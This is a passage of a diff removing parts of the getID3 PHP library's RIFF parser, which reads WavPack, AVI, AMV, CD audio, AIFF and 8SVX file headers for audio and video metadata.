'WavPack v'.$info['wavpack']['version']; - - // Reset to the way it was - RIFF parsing will have messed this up - $info['avdataend'] = $Original['avdataend']; - $thisfile_audio['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; - - $this->fseek($info['avdataoffset'] - 44); - $RIFFdata = $this->fread(44); - $OrignalRIFFheaderSize = getid3_lib::LittleEndian2Int(substr($RIFFdata, 4, 4)) + 8; - $OrignalRIFFdataSize = getid3_lib::LittleEndian2Int(substr($RIFFdata, 40, 4)) + 44; - - if ($OrignalRIFFheaderSize > $OrignalRIFFdataSize) { - $info['avdataend'] -= ($OrignalRIFFheaderSize - $OrignalRIFFdataSize); - $this->fseek($info['avdataend']); - $RIFFdata .= $this->fread($OrignalRIFFheaderSize - $OrignalRIFFdataSize); - } - - // move the data chunk after all other chunks (if any) - // so that the RIFF parser doesn't see EOF when trying - // to skip over the data chunk - $RIFFdata = substr($RIFFdata, 0, 36).substr($RIFFdata, 44).substr($RIFFdata, 36, 8); - $getid3_riff = new getid3_riff($this->getid3); - $getid3_riff->ParseRIFFdata($RIFFdata); - unset($getid3_riff); - } - - if (isset($thisfile_riff_raw['fmt ']['wFormatTag'])) { - switch ($thisfile_riff_raw['fmt ']['wFormatTag']) { - case 0x0001: // PCM - if (!empty($info['ac3'])) { - // Dolby Digital WAV files masquerade as PCM-WAV, but they're not - $thisfile_audio['wformattag'] = 0x2000; - $thisfile_audio['codec'] = self::wFormatTagLookup($thisfile_audio['wformattag']); - $thisfile_audio['lossless'] = false; - $thisfile_audio['bitrate'] = $info['ac3']['bitrate']; - $thisfile_audio['sample_rate'] = $info['ac3']['sample_rate']; - } - if (!empty($info['dts'])) { - // Dolby DTS files masquerade as PCM-WAV, but they're not - $thisfile_audio['wformattag'] = 0x2001; - $thisfile_audio['codec'] = self::wFormatTagLookup($thisfile_audio['wformattag']); - $thisfile_audio['lossless'] = false; - $thisfile_audio['bitrate'] = $info['dts']['bitrate']; - $thisfile_audio['sample_rate'] = $info['dts']['sample_rate']; - } - break; - case 0x08AE: // ClearJump LiteWave - $thisfile_audio['bitrate_mode'] = 'vbr'; - $thisfile_audio_dataformat = 'litewave'; - - //typedef struct tagSLwFormat { - // WORD m_wCompFormat; // low byte defines compression method, high byte is compression flags - // DWORD m_dwScale; // scale factor for lossy compression - // DWORD m_dwBlockSize; // number of samples in encoded blocks - // WORD m_wQuality; // alias for the scale factor - // WORD m_wMarkDistance; // distance between marks in bytes - // WORD m_wReserved; - // - // //following paramters are ignored if CF_FILESRC is not set - // DWORD m_dwOrgSize; // original file size in bytes - // WORD m_bFactExists; // indicates if 'fact' chunk exists in the original file - // DWORD m_dwRiffChunkSize; // riff chunk size in the original file - // - // PCMWAVEFORMAT m_OrgWf; // original wave format - // }SLwFormat, *PSLwFormat; - - // shortcut - $thisfile_riff['litewave']['raw'] = array(); - $riff_litewave = &$thisfile_riff['litewave']; - $riff_litewave_raw = &$riff_litewave['raw']; - - $flags = array( - 'compression_method' => 1, - 'compression_flags' => 1, - 'm_dwScale' => 4, - 'm_dwBlockSize' => 4, - 'm_wQuality' => 2, - 'm_wMarkDistance' => 2, - 'm_wReserved' => 2, - 'm_dwOrgSize' => 4, - 'm_bFactExists' => 2, - 'm_dwRiffChunkSize' => 4, - ); - $litewave_offset = 18; - foreach ($flags as $flag => $length) { - $riff_litewave_raw[$flag] = getid3_lib::LittleEndian2Int(substr($thisfile_riff_WAVE['fmt '][0]['data'], $litewave_offset, $length)); - $litewave_offset += $length; - } - - //$riff_litewave['quality_factor'] = intval(round((2000 - $riff_litewave_raw['m_dwScale']) / 20)); - $riff_litewave['quality_factor'] = $riff_litewave_raw['m_wQuality']; - - $riff_litewave['flags']['raw_source'] = ($riff_litewave_raw['compression_flags'] & 0x01) ? false : true; - $riff_litewave['flags']['vbr_blocksize'] = ($riff_litewave_raw['compression_flags'] & 0x02) ? false : true; - $riff_litewave['flags']['seekpoints'] = (bool) ($riff_litewave_raw['compression_flags'] & 0x04); - - $thisfile_audio['lossless'] = (($riff_litewave_raw['m_wQuality'] == 100) ? true : false); - $thisfile_audio['encoder_options'] = '-q'.$riff_litewave['quality_factor']; - break; - - default: - break; - } - } - if ($info['avdataend'] > $info['filesize']) { - switch (!empty($thisfile_audio_dataformat) ? $thisfile_audio_dataformat : '') { - case 'wavpack': // WavPack - case 'lpac': // LPAC - case 'ofr': // OptimFROG - case 'ofs': // OptimFROG DualStream - // lossless compressed audio formats that keep original RIFF headers - skip warning - break; - - case 'litewave': - if (($info['avdataend'] - $info['filesize']) == 1) { - // LiteWave appears to incorrectly *not* pad actual output file - // to nearest WORD boundary so may appear to be short by one - // byte, in which case - skip warning - } else { - // Short by more than one byte, throw warning - $this->warning('Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)'); - $info['avdataend'] = $info['filesize']; - } - break; - - default: - if ((($info['avdataend'] - $info['filesize']) == 1) && (($thisfile_riff[$RIFFsubtype]['data'][0]['size'] % 2) == 0) && ((($info['filesize'] - $info['avdataoffset']) % 2) == 1)) { - // output file appears to be incorrectly *not* padded to nearest WORD boundary - // Output less severe warning - $this->warning('File should probably be padded to nearest WORD boundary, but it is not (expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' therefore short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)'); - $info['avdataend'] = $info['filesize']; - } else { - // Short by more than one byte, throw warning - $this->warning('Probably truncated file - expecting '.$thisfile_riff[$RIFFsubtype]['data'][0]['size'].' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($thisfile_riff[$RIFFsubtype]['data'][0]['size'] - ($info['filesize'] - $info['avdataoffset'])).' bytes)'); - $info['avdataend'] = $info['filesize']; - } - break; - } - } - if (!empty($info['mpeg']['audio']['LAME']['audio_bytes'])) { - if ((($info['avdataend'] - $info['avdataoffset']) - $info['mpeg']['audio']['LAME']['audio_bytes']) == 1) { - $info['avdataend']--; - $this->warning('Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored'); - } - } - if (isset($thisfile_audio_dataformat) && ($thisfile_audio_dataformat == 'ac3')) { - unset($thisfile_audio['bits_per_sample']); - if (!empty($info['ac3']['bitrate']) && ($info['ac3']['bitrate'] != $thisfile_audio['bitrate'])) { - $thisfile_audio['bitrate'] = $info['ac3']['bitrate']; - } - } - break; - - // http://en.wikipedia.org/wiki/Audio_Video_Interleave - case 'AVI ': - $info['fileformat'] = 'avi'; - $info['mime_type'] = 'video/avi'; - - $thisfile_video['bitrate_mode'] = 'vbr'; // maybe not, but probably - $thisfile_video['dataformat'] = 'avi'; - - $thisfile_riff_video_current = array(); - - if (isset($thisfile_riff[$RIFFsubtype]['movi']['offset'])) { - $info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['movi']['offset'] + 8; - if (isset($thisfile_riff['AVIX'])) { - $info['avdataend'] = $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['offset'] + $thisfile_riff['AVIX'][(count($thisfile_riff['AVIX']) - 1)]['chunks']['movi']['size']; - } else { - $info['avdataend'] = $thisfile_riff['AVI ']['movi']['offset'] + $thisfile_riff['AVI ']['movi']['size']; - } - if ($info['avdataend'] > $info['filesize']) { - $this->warning('Probably truncated file - expecting '.($info['avdataend'] - $info['avdataoffset']).' bytes of data, only found '.($info['filesize'] - $info['avdataoffset']).' (short by '.($info['avdataend'] - $info['filesize']).' bytes)'); - $info['avdataend'] = $info['filesize']; - } - } - - if (isset($thisfile_riff['AVI ']['hdrl']['strl']['indx'])) { - //$bIndexType = array( - // 0x00 => 'AVI_INDEX_OF_INDEXES', - // 0x01 => 'AVI_INDEX_OF_CHUNKS', - // 0x80 => 'AVI_INDEX_IS_DATA', - //); - //$bIndexSubtype = array( - // 0x01 => array( - // 0x01 => 'AVI_INDEX_2FIELD', - // ), - //); - foreach ($thisfile_riff['AVI ']['hdrl']['strl']['indx'] as $streamnumber => $steamdataarray) { - $ahsisd = &$thisfile_riff['AVI ']['hdrl']['strl']['indx'][$streamnumber]['data']; - - $thisfile_riff_raw['indx'][$streamnumber]['wLongsPerEntry'] = $this->EitherEndian2Int(substr($ahsisd, 0, 2)); - $thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType'] = $this->EitherEndian2Int(substr($ahsisd, 2, 1)); - $thisfile_riff_raw['indx'][$streamnumber]['bIndexType'] = $this->EitherEndian2Int(substr($ahsisd, 3, 1)); - $thisfile_riff_raw['indx'][$streamnumber]['nEntriesInUse'] = $this->EitherEndian2Int(substr($ahsisd, 4, 4)); - $thisfile_riff_raw['indx'][$streamnumber]['dwChunkId'] = substr($ahsisd, 8, 4); - $thisfile_riff_raw['indx'][$streamnumber]['dwReserved'] = $this->EitherEndian2Int(substr($ahsisd, 12, 4)); - - //$thisfile_riff_raw['indx'][$streamnumber]['bIndexType_name'] = $bIndexType[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']]; - //$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType_name'] = $bIndexSubtype[$thisfile_riff_raw['indx'][$streamnumber]['bIndexType']][$thisfile_riff_raw['indx'][$streamnumber]['bIndexSubType']]; - - unset($ahsisd); - } - } - if (isset($thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data'])) { - $avihData = $thisfile_riff['AVI ']['hdrl']['avih'][$streamindex]['data']; - - // shortcut - $thisfile_riff_raw['avih'] = array(); - $thisfile_riff_raw_avih = &$thisfile_riff_raw['avih']; - - $thisfile_riff_raw_avih['dwMicroSecPerFrame'] = $this->EitherEndian2Int(substr($avihData, 0, 4)); // frame display rate (or 0L) - if ($thisfile_riff_raw_avih['dwMicroSecPerFrame'] == 0) { - $this->error('Corrupt RIFF file: avih.dwMicroSecPerFrame == zero'); - return false; - } - - $flags = array( - 'dwMaxBytesPerSec', // max. transfer rate - 'dwPaddingGranularity', // pad to multiples of this size; normally 2K. - 'dwFlags', // the ever-present flags - 'dwTotalFrames', // # frames in file - 'dwInitialFrames', // - 'dwStreams', // - 'dwSuggestedBufferSize', // - 'dwWidth', // - 'dwHeight', // - 'dwScale', // - 'dwRate', // - 'dwStart', // - 'dwLength', // - ); - $avih_offset = 4; - foreach ($flags as $flag) { - $thisfile_riff_raw_avih[$flag] = $this->EitherEndian2Int(substr($avihData, $avih_offset, 4)); - $avih_offset += 4; - } - - $flags = array( - 'hasindex' => 0x00000010, - 'mustuseindex' => 0x00000020, - 'interleaved' => 0x00000100, - 'trustcktype' => 0x00000800, - 'capturedfile' => 0x00010000, - 'copyrighted' => 0x00020010, - ); - foreach ($flags as $flag => $value) { - $thisfile_riff_raw_avih['flags'][$flag] = (bool) ($thisfile_riff_raw_avih['dwFlags'] & $value); - } - - // shortcut - $thisfile_riff_video[$streamindex] = array(); - /** @var array $thisfile_riff_video_current */ - $thisfile_riff_video_current = &$thisfile_riff_video[$streamindex]; - - if ($thisfile_riff_raw_avih['dwWidth'] > 0) { - $thisfile_riff_video_current['frame_width'] = $thisfile_riff_raw_avih['dwWidth']; - $thisfile_video['resolution_x'] = $thisfile_riff_video_current['frame_width']; - } - if ($thisfile_riff_raw_avih['dwHeight'] > 0) { - $thisfile_riff_video_current['frame_height'] = $thisfile_riff_raw_avih['dwHeight']; - $thisfile_video['resolution_y'] = $thisfile_riff_video_current['frame_height']; - } - if ($thisfile_riff_raw_avih['dwTotalFrames'] > 0) { - $thisfile_riff_video_current['total_frames'] = $thisfile_riff_raw_avih['dwTotalFrames']; - $thisfile_video['total_frames'] = $thisfile_riff_video_current['total_frames']; - } - - $thisfile_riff_video_current['frame_rate'] = round(1000000 / $thisfile_riff_raw_avih['dwMicroSecPerFrame'], 3); - $thisfile_video['frame_rate'] = $thisfile_riff_video_current['frame_rate']; - } - if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][0]['data'])) { - if (is_array($thisfile_riff['AVI ']['hdrl']['strl']['strh'])) { - $thisfile_riff_raw_strf_strhfccType_streamindex = null; - for ($i = 0; $i < count($thisfile_riff['AVI ']['hdrl']['strl']['strh']); $i++) { - if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data'])) { - $strhData = $thisfile_riff['AVI ']['hdrl']['strl']['strh'][$i]['data']; - $strhfccType = substr($strhData, 0, 4); - - if (isset($thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data'])) { - $strfData = $thisfile_riff['AVI ']['hdrl']['strl']['strf'][$i]['data']; - - // shortcut - $thisfile_riff_raw_strf_strhfccType_streamindex = &$thisfile_riff_raw['strf'][$strhfccType][$streamindex]; - - switch ($strhfccType) { - case 'auds': - $thisfile_audio['bitrate_mode'] = 'cbr'; - $thisfile_audio_dataformat = 'wav'; - if (isset($thisfile_riff_audio) && is_array($thisfile_riff_audio)) { - $streamindex = count($thisfile_riff_audio); - } - - $thisfile_riff_audio[$streamindex] = self::parseWAVEFORMATex($strfData); - $thisfile_audio['wformattag'] = $thisfile_riff_audio[$streamindex]['raw']['wFormatTag']; - - // shortcut - $thisfile_audio['streams'][$streamindex] = $thisfile_riff_audio[$streamindex]; - $thisfile_audio_streams_currentstream = &$thisfile_audio['streams'][$streamindex]; - - if ($thisfile_audio_streams_currentstream['bits_per_sample'] == 0) { - unset($thisfile_audio_streams_currentstream['bits_per_sample']); - } - $thisfile_audio_streams_currentstream['wformattag'] = $thisfile_audio_streams_currentstream['raw']['wFormatTag']; - unset($thisfile_audio_streams_currentstream['raw']); - - // shortcut - $thisfile_riff_raw['strf'][$strhfccType][$streamindex] = $thisfile_riff_audio[$streamindex]['raw']; - - unset($thisfile_riff_audio[$streamindex]['raw']); - $thisfile_audio = getid3_lib::array_merge_noclobber($thisfile_audio, $thisfile_riff_audio[$streamindex]); - - $thisfile_audio['lossless'] = false; - switch ($thisfile_riff_raw_strf_strhfccType_streamindex['wFormatTag']) { - case 0x0001: // PCM - $thisfile_audio_dataformat = 'wav'; - $thisfile_audio['lossless'] = true; - break; - - case 0x0050: // MPEG Layer 2 or Layer 1 - $thisfile_audio_dataformat = 'mp2'; // Assume Layer-2 - break; - - case 0x0055: // MPEG Layer 3 - $thisfile_audio_dataformat = 'mp3'; - break; - - case 0x00FF: // AAC - $thisfile_audio_dataformat = 'aac'; - break; - - case 0x0161: // Windows Media v7 / v8 / v9 - case 0x0162: // Windows Media Professional v9 - case 0x0163: // Windows Media Lossess v9 - $thisfile_audio_dataformat = 'wma'; - break; - - case 0x2000: // AC-3 - $thisfile_audio_dataformat = 'ac3'; - break; - - case 0x2001: // DTS - $thisfile_audio_dataformat = 'dts'; - break; - - default: - $thisfile_audio_dataformat = 'wav'; - break; - } - $thisfile_audio_streams_currentstream['dataformat'] = $thisfile_audio_dataformat; - $thisfile_audio_streams_currentstream['lossless'] = $thisfile_audio['lossless']; - $thisfile_audio_streams_currentstream['bitrate_mode'] = $thisfile_audio['bitrate_mode']; - break; - - - case 'iavs': - case 'vids': - // shortcut - $thisfile_riff_raw['strh'][$i] = array(); - $thisfile_riff_raw_strh_current = &$thisfile_riff_raw['strh'][$i]; - - $thisfile_riff_raw_strh_current['fccType'] = substr($strhData, 0, 4); // same as $strhfccType; - $thisfile_riff_raw_strh_current['fccHandler'] = substr($strhData, 4, 4); - $thisfile_riff_raw_strh_current['dwFlags'] = $this->EitherEndian2Int(substr($strhData, 8, 4)); // Contains AVITF_* flags - $thisfile_riff_raw_strh_current['wPriority'] = $this->EitherEndian2Int(substr($strhData, 12, 2)); - $thisfile_riff_raw_strh_current['wLanguage'] = $this->EitherEndian2Int(substr($strhData, 14, 2)); - $thisfile_riff_raw_strh_current['dwInitialFrames'] = $this->EitherEndian2Int(substr($strhData, 16, 4)); - $thisfile_riff_raw_strh_current['dwScale'] = $this->EitherEndian2Int(substr($strhData, 20, 4)); - $thisfile_riff_raw_strh_current['dwRate'] = $this->EitherEndian2Int(substr($strhData, 24, 4)); - $thisfile_riff_raw_strh_current['dwStart'] = $this->EitherEndian2Int(substr($strhData, 28, 4)); - $thisfile_riff_raw_strh_current['dwLength'] = $this->EitherEndian2Int(substr($strhData, 32, 4)); - $thisfile_riff_raw_strh_current['dwSuggestedBufferSize'] = $this->EitherEndian2Int(substr($strhData, 36, 4)); - $thisfile_riff_raw_strh_current['dwQuality'] = $this->EitherEndian2Int(substr($strhData, 40, 4)); - $thisfile_riff_raw_strh_current['dwSampleSize'] = $this->EitherEndian2Int(substr($strhData, 44, 4)); - $thisfile_riff_raw_strh_current['rcFrame'] = $this->EitherEndian2Int(substr($strhData, 48, 4)); - - $thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strh_current['fccHandler']); - $thisfile_video['fourcc'] = $thisfile_riff_raw_strh_current['fccHandler']; - if (!$thisfile_riff_video_current['codec'] && isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) && self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) { - $thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']); - $thisfile_video['fourcc'] = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']; - } - $thisfile_video['codec'] = $thisfile_riff_video_current['codec']; - $thisfile_video['pixel_aspect_ratio'] = (float) 1; - switch ($thisfile_riff_raw_strh_current['fccHandler']) { - case 'HFYU': // Huffman Lossless Codec - case 'IRAW': // Intel YUV Uncompressed - case 'YUY2': // Uncompressed YUV 4:2:2 - $thisfile_video['lossless'] = true; - break; - - default: - $thisfile_video['lossless'] = false; - break; - } - - switch ($strhfccType) { - case 'vids': - $thisfile_riff_raw_strf_strhfccType_streamindex = self::ParseBITMAPINFOHEADER(substr($strfData, 0, 40), ($this->container == 'riff')); - $thisfile_video['bits_per_sample'] = $thisfile_riff_raw_strf_strhfccType_streamindex['biBitCount']; - - if ($thisfile_riff_video_current['codec'] == 'DV') { - $thisfile_riff_video_current['dv_type'] = 2; - } - break; - - case 'iavs': - $thisfile_riff_video_current['dv_type'] = 1; - break; - } - break; - - default: - $this->warning('Unhandled fccType for stream ('.$i.'): "'.$strhfccType.'"'); - break; - - } - } - } - - if (isset($thisfile_riff_raw_strf_strhfccType_streamindex) && isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) { - - $thisfile_video['fourcc'] = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']; - if (self::fourccLookup($thisfile_video['fourcc'])) { - $thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_video['fourcc']); - $thisfile_video['codec'] = $thisfile_riff_video_current['codec']; - } - - switch ($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) { - case 'HFYU': // Huffman Lossless Codec - case 'IRAW': // Intel YUV Uncompressed - case 'YUY2': // Uncompressed YUV 4:2:2 - $thisfile_video['lossless'] = true; - //$thisfile_video['bits_per_sample'] = 24; - break; - - default: - $thisfile_video['lossless'] = false; - //$thisfile_video['bits_per_sample'] = 24; - break; - } - - } - } - } - } - break; - - - case 'AMV ': - $info['fileformat'] = 'amv'; - $info['mime_type'] = 'video/amv'; - - $thisfile_video['bitrate_mode'] = 'vbr'; // it's MJPEG, presumably contant-quality encoding, thereby VBR - $thisfile_video['dataformat'] = 'mjpeg'; - $thisfile_video['codec'] = 'mjpeg'; - $thisfile_video['lossless'] = false; - $thisfile_video['bits_per_sample'] = 24; - - $thisfile_audio['dataformat'] = 'adpcm'; - $thisfile_audio['lossless'] = false; - break; - - - // http://en.wikipedia.org/wiki/CD-DA - case 'CDDA': - $info['fileformat'] = 'cda'; - unset($info['mime_type']); - - $thisfile_audio_dataformat = 'cda'; - - $info['avdataoffset'] = 44; - - if (isset($thisfile_riff['CDDA']['fmt '][0]['data'])) { - // shortcut - $thisfile_riff_CDDA_fmt_0 = &$thisfile_riff['CDDA']['fmt '][0]; - - $thisfile_riff_CDDA_fmt_0['unknown1'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 0, 2)); - $thisfile_riff_CDDA_fmt_0['track_num'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 2, 2)); - $thisfile_riff_CDDA_fmt_0['disc_id'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 4, 4)); - $thisfile_riff_CDDA_fmt_0['start_offset_frame'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 8, 4)); - $thisfile_riff_CDDA_fmt_0['playtime_frames'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 12, 4)); - $thisfile_riff_CDDA_fmt_0['unknown6'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 16, 4)); - $thisfile_riff_CDDA_fmt_0['unknown7'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 20, 4)); - - $thisfile_riff_CDDA_fmt_0['start_offset_seconds'] = (float) $thisfile_riff_CDDA_fmt_0['start_offset_frame'] / 75; - $thisfile_riff_CDDA_fmt_0['playtime_seconds'] = (float) $thisfile_riff_CDDA_fmt_0['playtime_frames'] / 75; - $info['comments']['track_number'] = $thisfile_riff_CDDA_fmt_0['track_num']; - $info['playtime_seconds'] = $thisfile_riff_CDDA_fmt_0['playtime_seconds']; - - // hardcoded data for CD-audio - $thisfile_audio['lossless'] = true; - $thisfile_audio['sample_rate'] = 44100; - $thisfile_audio['channels'] = 2; - $thisfile_audio['bits_per_sample'] = 16; - $thisfile_audio['bitrate'] = $thisfile_audio['sample_rate'] * $thisfile_audio['channels'] * $thisfile_audio['bits_per_sample']; - $thisfile_audio['bitrate_mode'] = 'cbr'; - } - break; - - // http://en.wikipedia.org/wiki/AIFF - case 'AIFF': - case 'AIFC': - $info['fileformat'] = 'aiff'; - $info['mime_type'] = 'audio/x-aiff'; - - $thisfile_audio['bitrate_mode'] = 'cbr'; - $thisfile_audio_dataformat = 'aiff'; - $thisfile_audio['lossless'] = true; - - if (isset($thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'])) { - $info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'] + 8; - $info['avdataend'] = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['SSND'][0]['size']; - if ($info['avdataend'] > $info['filesize']) { - if (($info['avdataend'] == ($info['filesize'] + 1)) && (($info['filesize'] % 2) == 1)) { - // structures rounded to 2-byte boundary, but dumb encoders - // forget to pad end of file to make this actually work - } else { - $this->warning('Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['SSND'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found'); - } - $info['avdataend'] = $info['filesize']; - } - } - - if (isset($thisfile_riff[$RIFFsubtype]['COMM'][0]['data'])) { - - // shortcut - $thisfile_riff_RIFFsubtype_COMM_0_data = &$thisfile_riff[$RIFFsubtype]['COMM'][0]['data']; - - $thisfile_riff_audio['channels'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 0, 2), true); - $thisfile_riff_audio['total_samples'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 2, 4), false); - $thisfile_riff_audio['bits_per_sample'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 6, 2), true); - $thisfile_riff_audio['sample_rate'] = (int) getid3_lib::BigEndian2Float(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 8, 10)); - - if ($thisfile_riff[$RIFFsubtype]['COMM'][0]['size'] > 18) { - $thisfile_riff_audio['codec_fourcc'] = substr($thisfile_riff_RIFFsubtype_COMM_0_data, 18, 4); - $CodecNameSize = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 22, 1), false); - $thisfile_riff_audio['codec_name'] = substr($thisfile_riff_RIFFsubtype_COMM_0_data, 23, $CodecNameSize); - switch ($thisfile_riff_audio['codec_name']) { - case 'NONE': - $thisfile_audio['codec'] = 'Pulse Code Modulation (PCM)'; - $thisfile_audio['lossless'] = true; - break; - - case '': - switch ($thisfile_riff_audio['codec_fourcc']) { - // http://developer.apple.com/qa/snd/snd07.html - case 'sowt': - $thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Little-Endian PCM'; - $thisfile_audio['lossless'] = true; - break; - - case 'twos': - $thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Big-Endian PCM'; - $thisfile_audio['lossless'] = true; - break; - - default: - break; - } - break; - - default: - $thisfile_audio['codec'] = $thisfile_riff_audio['codec_name']; - $thisfile_audio['lossless'] = false; - break; - } - } - - $thisfile_audio['channels'] = $thisfile_riff_audio['channels']; - if ($thisfile_riff_audio['bits_per_sample'] > 0) { - $thisfile_audio['bits_per_sample'] = $thisfile_riff_audio['bits_per_sample']; - } - $thisfile_audio['sample_rate'] = $thisfile_riff_audio['sample_rate']; - if ($thisfile_audio['sample_rate'] == 0) { - $this->error('Corrupted AIFF file: sample_rate == zero'); - return false; - } - $info['playtime_seconds'] = $thisfile_riff_audio['total_samples'] / $thisfile_audio['sample_rate']; - } - - if (isset($thisfile_riff[$RIFFsubtype]['COMT'])) { - $offset = 0; - $CommentCount = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false); - $offset += 2; - for ($i = 0; $i < $CommentCount; $i++) { - $info['comments_raw'][$i]['timestamp'] = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 4), false); - $offset += 4; - $info['comments_raw'][$i]['marker_id'] = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), true); - $offset += 2; - $CommentLength = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false); - $offset += 2; - $info['comments_raw'][$i]['comment'] = substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, $CommentLength); - $offset += $CommentLength; - - $info['comments_raw'][$i]['timestamp_unix'] = getid3_lib::DateMac2Unix($info['comments_raw'][$i]['timestamp']); - $thisfile_riff['comments']['comment'][] = $info['comments_raw'][$i]['comment']; - } - } - - $CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment'); - foreach ($CommentsChunkNames as $key => $value) { - if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) { - $thisfile_riff['comments'][$value][] = $thisfile_riff[$RIFFsubtype][$key][0]['data']; - } - } -/* - if (isset($thisfile_riff[$RIFFsubtype]['ID3 '])) { - getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); - $getid3_temp = new getID3(); - $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); - $getid3_id3v2 = new getid3_id3v2($getid3_temp); - $getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['ID3 '][0]['offset'] + 8; - if ($thisfile_riff[$RIFFsubtype]['ID3 '][0]['valid'] = $getid3_id3v2->Analyze()) { - $info['id3v2'] = $getid3_temp->info['id3v2']; - } - unset($getid3_temp, $getid3_id3v2); - } -*/ - break; - - // http://en.wikipedia.org/wiki/8SVX - case '8SVX': - $info['fileformat'] = '8svx'; - $info['mime_type'] = 'audio/8svx'; - - $thisfile_audio['bitrate_mode'] = 'cbr'; - $thisfile_audio_dataformat = '8svx'; - $thisfile_audio['bits_per_sample'] = 8; - $thisfile_audio['channels'] = 1; // overridden below, if need be - $ActualBitsPerSample = 0; - - if (isset($thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'])) { - $info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'] + 8; - $info['avdataend'] = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['BODY'][0]['size']; - if ($info['avdataend'] > $info['filesize']) { - $this->warning('Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['BODY'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found'); - } - } - - if (isset($thisfile_riff[$RIFFsubtype]['VHDR'][0]['offset'])) { - // shortcut - $thisfile_riff_RIFFsubtype_VHDR_0 = &$thisfile_riff[$RIFFsubtype]['VHDR'][0]; - - $thisfile_riff_RIFFsubtype_VHDR_0['oneShotHiSamples'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 0, 4)); - $thisfile_riff_RIFFsubtype_VHDR_0['repeatHiSamples'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 4, 4)); - $thisfile_riff_RIFFsubtype_VHDR_0['samplesPerHiCycle'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 8, 4)); - $thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 12, 2)); - $thisfile_riff_RIFFsubtype_VHDR_0['ctOctave'] = getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 14, 1)); - $thisfile_riff_RIFFsubtype_VHDR_0['sCompression'] = 